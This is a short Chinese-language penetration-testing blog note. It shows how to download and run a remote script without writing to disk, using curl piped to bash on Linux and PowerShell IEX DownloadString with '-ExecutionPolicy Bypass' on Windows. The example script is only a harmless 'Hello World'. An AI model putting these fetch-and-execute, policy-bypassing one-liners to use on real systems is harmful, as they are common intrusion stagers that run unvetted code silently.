渗透笔记 | 📅 2020-09-21 | linux
在一些特殊情况下,我们不能向硬盘写入数据,但又要下载执行一个脚本,此时应如何做呢?
使用 curl 配合 |,就能基本实现:不接触硬盘,从远端加载脚本并执行。
假设,在 https://raw.githubusercontent.com/moonlightwatch/gadgets/master/testscripts/hello.sh 处是一个 bash 脚本,内容如下:
echo "Hello World."
我们在本地执行:
curl https://raw.githubusercontent.com/moonlightwatch/gadgets/master/testscripts/hello.sh | bash
即可看到脚本执行的输出:Hello World.
如果,你不希望看到curl的输出,则可以给curl增加 -Ls 参数,使得curl不输出下载过程的信息。
curl -Ls https://raw.githubusercontent.com/moonlightwatch/gadgets/master/testscripts/hello.sh | bash
或者使左尖括号配合小括号的方法:
bash <(curl -Ls https://raw.githubusercontent.com/moonlightwatch/gadgets/master/testscripts/hello.sh)
又或者:
$(curl -sL https://raw.githubusercontent.com/moonlightwatch/gadgets/master/testscripts/hello.sh)
效果是一模一样的。
前述操作都是在Linux下的,同时也介绍下Windows中类似的操作。
首先思路是一样的,下载一个文件并直接执行。
我们会用到:
假设,在 https://raw.githubusercontent.com/moonlightwatch/gadgets/master/testscripts/hello.ps1 处是一个 powershell 脚本,内容如下:
echo "Hello World."
那么我们可以在本地powershell内按如下执行此脚本:
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/moonlightwatch/gadgets/master/testscripts/hello.ps1')
即可看到脚本执行的输出:Hello World.
有时候我们会在 cmd 中执行,那么就不能直接使用 Invoke-Expression 了。我们可以调用 powershell 执行上述命令:
powershell "Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/moonlightwatch/gadgets/master/testscripts/hello.ps1')"
就可以了。实际上,这个在 powershell 里也是能运行的。
假如你的命令是要给别人运行的,那么就给他后面这个样子的,保证在 powershell 和 cmd 中都能运行。
其实关于 Invoke-Expression ,它可以简写为:IEX。上述命令就可以简化为:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/moonlightwatch/gadgets/master/testscripts/hello.ps1')"
这里不得不吐槽的是,网上文章各种抄,找资料的时候,这段命令各种少空格,显然是抄的时候不用心,自己都没执行过……
如果你的脚本执行了什么危险操作,是会受到 powershell 默认执行策略的限制的。但是我们可以通过 -ExecutionPolicy 来设置当前会话的执行策略。
其取值可以是:
我们可能会选择 Bypass ,这个策略是:
Nothing is blocked and there are no warnings or prompts.
就是啥都不管,随便执行,也不会有警告或者提示。
那么我们的命令就变成如下样子:
powershell -ExecutionPolicy Bypass "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/moonlightwatch/gadgets/master/testscripts/hello.ps1')"
鉴于 -ExecutionPolicy 可以简写为:-exec ,那么我们的命令即可简写为:
powershell -exec Bypass "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/moonlightwatch/gadgets/master/testscripts/hello.ps1')"